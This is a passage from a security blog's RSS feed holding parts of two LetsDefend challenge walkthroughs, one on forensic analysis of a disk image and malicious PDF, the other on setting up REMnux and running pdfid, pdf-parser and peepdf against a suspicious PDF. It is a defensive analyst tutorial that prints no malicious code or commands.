entry:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/6f4438429a5eb2f469b2f80a4625cec2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It looks like we located the domain of the &lt;em&gt;Application.pdf&lt;/em&gt; file we found earlier — nice work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1699px&#34; data-flex-grow=&#34;707&#34; height=&#34;113&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/4296e35cecebfe37262f3bb15dad6560_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-email-address-of-thevictim&#34;&gt;Question 3: What is the email address of the victim?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, let&amp;rsquo;s stick with &lt;em&gt;DB Browser (SQLite)&lt;/em&gt; &lt;strong&gt;a&lt;/strong&gt;nd continue searching for data in the &lt;em&gt;Microsoft Edge&lt;/em&gt; browser databases. Let&amp;rsquo;s think about where the victim&amp;rsquo;s email address might be stored — maybe they saved it as an &lt;em&gt;autofill&lt;/em&gt; item in the browser to save time during their job search?&lt;/p&gt;&#xA;&lt;p&gt;If we go back to our &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Foxtron Forensics&lt;/a&gt; reference and search for &lt;em&gt;autofill&lt;/em&gt; we find the following information:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Form History is stored in the €˜&lt;strong&gt;Web Data&lt;/strong&gt;&amp;rsquo; SQLite database, within the €˜&lt;strong&gt;autofill&lt;/strong&gt;&amp;rsquo; table. Older versions of Chrome stored associated dates within an €˜&lt;strong&gt;autofill_dates&lt;/strong&gt;&amp;rsquo; table.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we check it out? We&amp;rsquo;ll go ahead and open the &lt;strong&gt;Web Data&lt;/strong&gt; database and browse the &lt;em&gt;autofill&lt;/em&gt; table&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;345px&#34; data-flex-grow=&#34;143&#34; height=&#34;556&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/f230117acadbd79ced01ecede74adffb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! I think we found the answer to &lt;strong&gt;Question 3.&lt;/strong&gt; Let&amp;rsquo;s submit it and move on.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/12ba324126a4be93709193e396cbd3f0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-command-that-is-executed-by-the-malicious-document&#34;&gt;Question 4: What is the command that is executed by the malicious document?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, now we get to pivot and try some static analysis!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try another tool available in our analysis environment — &lt;a class=&#34;link&#34; href=&#34;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;PDFStreamDumper&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; This tool should let us perform some static analysis of object streams within a PDF file and see if there is anything malicious.&lt;/p&gt;&#xA;&lt;p&gt;This is my first time using this tool but according to the developer&amp;rsquo;s page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is a free tool for the analysis of malicious PDF documents.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Has specialized tools for dealing with obfuscated JavaScript, low level pdf headers and objects, and shellcode.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;First things first — Remember the &lt;em&gt;Application.pdf&lt;/em&gt; we found back in &lt;strong&gt;Question 1?&lt;/strong&gt; We&amp;rsquo;re going to go back into &lt;em&gt;FTK Imager&lt;/em&gt;, navigate to the file path from &lt;strong&gt;Question 1&lt;/strong&gt;, and right-click on the file and the export.&lt;/p&gt;&#xA;&lt;p&gt;Once we have completed the export, we&amp;rsquo;ll open &lt;em&gt;PDFStreamDumper&lt;/em&gt; from the &lt;em&gt;Tools&lt;/em&gt; folder, load the &lt;em&gt;Application.pdf&lt;/em&gt; file into &lt;em&gt;PDFStreamDumper.&lt;/em&gt; When the loading is completed, we can check the output and start to analyze the objects contained in the file!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/36e6c14c88bc6793a078184d4a9edffe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On the left side column, we see that the tool has parsed 6 objects within the PDF file. Let&amp;rsquo;s analyze the objects one-by-one and see if we can find anything suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Something in object 5 sticks out, doesn&amp;rsquo;t it? Immediately, we can see that there is quite a bit of code in this object compared to the others. But more importantly, there also appears to be a &lt;em&gt;Base64 encoded&lt;/em&gt; &lt;em&gt;PowerShell&lt;/em&gt; command stored here as well — this should answer &lt;strong&gt;Question 4!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/7bec3dc1614a2066344bdc3c2a337df3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/a9d081197f831a27a059360a0e558c98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;side-quest&#34;&gt;&lt;strong&gt;Side Quest:&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;While out of scope for this challenge, it might be fun to jump into something like &lt;em&gt;CyberChef&lt;/em&gt; to decode the &lt;em&gt;PowerShell&lt;/em&gt; command we found stored in the object. This will help us to better understand the impact of the &lt;em&gt;User Execution (&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; T1204.002&lt;/a&gt;) on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the &lt;em&gt;PowerShell&lt;/em&gt; script creates a stored &lt;em&gt;Environmental Variable&lt;/em&gt; with a string message from the threat actor. Again, not relevant for this challenge but it would be something to explore in a real-world analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;306px&#34; data-flex-grow=&#34;127&#34; height=&#34;627&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/2fe2d6f8f30015e6b9e17bea3e65200e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-seems-the-pc-username-changed-to-another-one-can-you-identify-the-new-username&#34;&gt;Question 5: Seems the PC username changed to another one. Can you identify the new Username?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! In this question we are looking for the &lt;em&gt;username&lt;/em&gt; that changed. To answer this question, we need to first understand where &lt;em&gt;username&lt;/em&gt; values are stored and if we can extract that from a forensic disk image, right?&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s pull back a bit and recap: In &lt;strong&gt;Question 1&lt;/strong&gt; we explored the &lt;em&gt;Users&lt;/em&gt; folder where the home folders for each user on the system is stored. Based on our evidence, the victim was using the profile named &lt;strong&gt;Work.&lt;/strong&gt; Now we need to locate another location that contains user account information to see what has changed.&lt;/p&gt;&#xA;&lt;p&gt;Where could we find this information though? Well, according to &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Microsoft Learn&lt;/a&gt; we could check th_e Security Account Manager (SAM) Database_:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The Security Accounts Manager (SAM) is a database that stores local user accounts and groups.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go back into &lt;em&gt;FTK Imager&lt;/em&gt; and see if we can extract the &lt;em&gt;SAM Database&lt;/em&gt; from the image. In &lt;em&gt;FTK&lt;/em&gt; navigate within the &lt;em&gt;Evidence Tree&lt;/em&gt; to (&lt;em&gt;PDFURI.001 &amp;gt; NONAME [NTFS] &amp;gt; [root]/Windows/System32/config/)&lt;/em&gt; and select the &lt;em&gt;SAM&lt;/em&gt; file. We&amp;rsquo;ll do the same process to export this file to our evidence folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/1249f9934873de9a6f28a1b5be322f19_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating and exporting the SAM database from FTK Imager&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the &lt;em&gt;SAM Database&lt;/em&gt; extracted_,_ let&amp;rsquo;s load with another analysis tool &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;em&gt;Registry Explorer&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If we expand the keys within the &lt;em&gt;SAM&lt;/em&gt; hive down to &lt;em&gt;Names,&lt;/em&gt; we can see all the local usernames on the system. All the &lt;em&gt;Names&lt;/em&gt; listed are default &lt;em&gt;Windows&lt;/em&gt; usernames except one of them — Since we know the user account was called &lt;strong&gt;Work&lt;/strong&gt;, and we no longer see that in the database, I think we found the answer to &lt;strong&gt;Question 5!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/96ed368da502bb47c5b0fade1894965a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exploring the SAM Database in Registry Explorer&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdfuri-challenge-walkthrough/60708b53d4ede6001967e02446ae99cd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great work on the investigation, and thank you for joining me on this learning journey!&lt;/p&gt;&#xA;&lt;p&gt;A special thanks to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend.io&lt;/strong&gt;&lt;/a&gt; for presenting yet another engaging challenge. This challenge was not only enjoyable but also served as an excellent primer on various forensic tools such as &lt;em&gt;FTK Imager, DB Browser, PDF Stream Dumper, and Registry Explorer&lt;/em&gt;. It provided us with a practical context to understand how we, as defenders, can quickly analyze browser artifacts, malicious PDF files, and the Windows Registry.&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too. Stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FTK Imager:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.exterro.com/digital-forensics-software/ftk-imager&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome Forensics:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DB Browser for SQLite:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlitebrowser.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlitebrowser.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PDF Stream Dumper:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (User Execution: Malicious File):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1204/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1204&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn SAM Database Reference:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication#BKMK_SAM&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Registry Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PDF Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/</link>
            <pubDate>Mon, 04 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/03696008794e8aaa57065c3e8dfdd5f1_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PDF Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--pdf-analysis-challenge-walkthrough&#34;&gt;LetsDefend — PDF Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-a-malicious-pdf-document-with-remnux-peepdf&#34;&gt;&lt;strong&gt;Analyzing a Malicious PDF Document with REMnux &amp;amp; Peepdf&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/03696008794e8aaa57065c3e8dfdd5f1_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: LetsDefend.io&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me on this walkthrough! This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PDF Analysis Challenge&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;!&lt;/strong&gt; This challenge should be a great opportunity to expand my PDF analysis skills and learn some new tools for my workflow. This time around, I am also checking out and using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; to work through this challenge_._ If you are unfamiliar, &lt;em&gt;REMnux&lt;/em&gt; is a &lt;em&gt;Linux&lt;/em&gt; distro built for malware analysis so we should have some cool tools to check out. As always, this write up will serve as both a learning journal for me and a LetsDefend challenge walkthrough for anyone who stumbles upon this post. Thanks for reading — hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/pdf-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/pdf-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Scenarios:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An employee has received a suspicious email:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;From:&lt;/strong&gt; SystemsUpdate@letsdefend.io &lt;strong&gt;To:&lt;/strong&gt; Paul@letsdefend.io &lt;strong&gt;Subject:&lt;/strong&gt; Critical — Annual Systems UPDATE NOW &lt;strong&gt;Body:&lt;/strong&gt; Please do the dutiful before the deadline today. &lt;strong&gt;Attachment:&lt;/strong&gt; Update.pdf &lt;strong&gt;Password:&lt;/strong&gt; letsdefend&#xA;The employee has reported this incident to you as the analyst which has also forwarded the attachment to your SIEM. They have mentioned that they did not download or open the attachment as they found it very suspicious. They wish for you to analyze it further to verify its legitimacy.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;NOTE: Do not open in your local environment. It is a malicious file.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This challenge prepared by &lt;a class=&#34;link&#34; href=&#34;https://twitter.com/DXploiter&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;@DXploiter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;First, I want to set the stage since this is my first time using &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt; I&amp;rsquo;ll be referencing the excellent &lt;em&gt;REMnux&lt;/em&gt; Documentation regularly in this post:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Second, to keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to setup your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly.&lt;/p&gt;&#xA;&lt;p&gt;For reference, I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our environment created, updated, isolated, and snapshotted, we can extract our challenge file archive and get started!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3269px&#34; data-flex-grow=&#34;1362&#34; height=&#34;53&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/8aecbe49decb50d513b738edc0ae8a41_MD5.png&#34; width=&#34;722&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-1-2--3&#34;&gt;Questions 1, 2, &amp;amp; 3 :&#xA;&lt;/h3&gt;&lt;h4 id=&#34;what-local-directory-name-would-have-been-targeted-by-themalware&#34;&gt;What local directory name would have been targeted by the malware?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-would-have-been-the-name-of-the-file-created-by-thepayload&#34;&gt;What would have been the name of the file created by the payload?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-file-type-would-this-have-been-if-it-werecreated&#34;&gt;What file type would this have been if it were created?&#xA;&lt;/h4&gt;&lt;p&gt;There are a couple of ways to approach this challenge that I am familiar with already, but since I am using a new environment for analysis, we&amp;rsquo;ll start by checking out the &lt;em&gt;REMnux&lt;/em&gt; documentation and see what PDF specific analysis tools are available. &lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/analyze&amp;#43;documents/pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/discover-the-tools/analyze+documents/pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Wow! There are quite a few tools we can use but before we dive in, let&amp;rsquo;s pull back a little. I want to point out an awesome reference poster that can help provide some context, the &lt;a class=&#34;link&#34; href=&#34;https://www.sans.org/posters/cheat-sheet-for-analyzing-malicious-documents/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;SANS Analyzing Malicious Documents&lt;/a&gt; cheat sheet. This is an incredibly helpful cheat sheet provides us with some quick, actionable tips for analyzing malicious documents.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start first with the tools that I am familiar with already and covered by the &lt;em&gt;SANS&lt;/em&gt; cheat sheet — &lt;em&gt;pdfid&lt;/em&gt; &amp;amp; &lt;em&gt;pdf-parser&lt;/em&gt;. We can use these tools for basic analysis to get a high-level view of the malicious PDF document.&lt;/p&gt;&#xA;&lt;p&gt;After running &lt;em&gt;pdfid &amp;amp; pdf-parser&lt;/em&gt;, we get some basic information about the malicious PDF. Something interesting to note are the three /&lt;em&gt;OpenActions.&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://helpx.adobe.com/acrobat/using/applying-actions-scripts-pdfs.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Open actions&lt;/em&gt;&lt;/a&gt; are triggered when a PDF file is opened and could be abused by a bad actor to execute &lt;em&gt;JavaScript,&lt;/em&gt; open a file/web page, etc. Let&amp;rsquo;s make a note of this finding as we go deeper into the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;352px&#34; data-flex-grow=&#34;146&#34; height=&#34;466&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/c91ee1ea849a22a8d0142d326a7dac11_MD5.png&#34; width=&#34;684&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pdfid output.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1384px&#34; data-flex-grow=&#34;576&#34; height=&#34;208&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5_hu_b6e72a1908977bdb.png 800w, https://stumblesec.com/posts/letsdefend-pdf-analysis-challenge-walkthrough/08a6e3001d4a7bc769c880648aaca172_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;pdf parser output.&lt;/p&gt;&#xA;&lt;p&gt;While helpful, these tools aren&amp;rsquo;t giving us the deep analysis context we are looking for. Let&amp;rsquo;s try &lt;a class=&#34;link&#34; href=&#34;https://eternal-todo.com/tools/peepdf-pdf-analysis-tool&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;peepdf&lt;/em&gt;&lt;/a&gt;, which the &lt;em&gt;REMnux&lt;/em&gt; documentation states can be used to &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;examine elements of the PDF file.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;After reviewing the tool&amp;rsquo;s documentation and checking out the usage options, Let&amp;rsquo;s try it out and point it to the malicious PDF. We will use the &lt;em&gt;-f&lt;/em&gt; option to force parsing of the file and ignore any errors that are encountered.&lt;/p&gt;&#xA;&lt;p&gt;peepdf -f /home/remnux/Challenges/pdfAnalysis/Update.pdf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 